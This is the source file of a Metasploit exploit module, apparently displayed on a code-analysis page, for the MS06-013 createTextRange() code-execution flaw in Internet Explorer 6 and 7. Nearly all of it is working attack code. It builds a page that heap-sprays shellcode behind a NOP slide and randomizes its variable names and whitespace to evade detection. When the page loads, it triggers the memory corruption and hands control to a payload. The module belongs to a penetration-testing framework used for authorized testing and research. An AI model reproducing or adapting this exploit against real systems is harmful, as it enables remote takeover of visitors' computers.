modules/exploits/windows/browser/ms06_013_createtextrange.rb from rapid7/metasploit-framework

modules/exploits/windows/browser/ms06_013_createtextrange.rb
Summary

Maintainability

5 hrs
Test Coverage

Issues
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability in Microsoft Internet Explorer.
        Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
        certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
        to a very remote, non-existent memory location. This module is the result of merging three
        different exploit submissions and has only been reliably tested against Windows XP SP2.
        This vulnerability was independently discovered by multiple parties. The heap spray method
        used by this exploit was pioneered by Skylined.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Faithless <rhyskidd[at]gmail.com>',
          'Darkeagle <unl0ck.net>',
          'hdm',
          '<justfriends4n0w[at]yahoo.com>',
          'Unknown',
        ],
      'References'     =>
        [
          ['CVE', '2006-1359'],
          ['OSVDB', '24050'],
          ['MSB', 'MS06-013'],
          ['BID', '17196'],
          ['US-CERT-VU', '876678'],
          ['URL', 'http://web.archive.org/web/20060418044756/http://secunia.com:80/secunia_research/2006-7/advisory/'],
          ['URL', 'https://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
          ['URL', 'https://seclists.org/lists/fulldisclosure/2006/Mar/1439.html']
        ],
      'Payload'        =>
        {
          'Space'          => 1024,
          'BadChars'       => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
          [ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],

        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-03-19'))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops
    nops = Rex::Text.to_unescape(make_nops(4))

    # Generate a random XML namespace for VML
    xmlns = rand_text_alpha(rand(30)+2)

    # Randomize the javascript variable names
    rnd              = rand(3)
    var_inputtype    = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
    var_inp          = "_"+rand_text_alpha(rand(6)+3)
    var_tmp          = "_"+rand_text_alpha(rand(6)+3)
    var_payload      = "_"+rand_text_alpha(rand(6)+3)
    var_nopslide     = "_"+rand_text_alpha(rand(6)+3)
    var_slidesize    = "_"+rand_text_alpha(rand(6)+3)
    var_fillblock    = "_"+rand_text_alpha(rand(6)+3)
    var_memblock     = "_"+rand_text_alpha(rand(6)+3)
    var_heap         = "_"+rand_text_alpha(rand(6)+3)
    var_index        = "_"+rand_text_alpha(rand(6)+3)
    var_maxIndex     = "_"+rand_text_alpha(rand(6)+3)
    var_fillHeap     = "_"+rand_text_alpha(rand(6)+3)
    var_start        = "_"+rand_text_alpha(rand(6)+3)
    var_timer        = "_"+rand_text_alpha(rand(6)+3)
    rnd              = rand(2)
    var_setTimeout   = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
    var_setInterval  = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
    randnop          = rand_text_alpha(rand(100) + 1)

    # Build out the message
    content = %Q|<html>
<head>
<script language = "javascript">
var #{var_payload} = unescape("#{shellcode}");
var #{randnop} = "#{nops}";
var #{var_nopslide} = unescape(#{randnop});
var #{var_slidesize} = 20+#{var_payload}.length;
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
var #{var_heap} = new Array();
var #{var_index} = 0;
var #{var_maxIndex} = 2020;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload});
#{var_index}++;
#{var_setTimeout}
} else {
#{var_timer}.innerHTML = 100;
#{var_inp} = document.createElement("input");
#{var_inp}.type = "#{var_inputtype}";
#{var_tmp} = #{var_inp}.createTextRange();
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|

    content = Rex::Text.randomize_space(content)

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end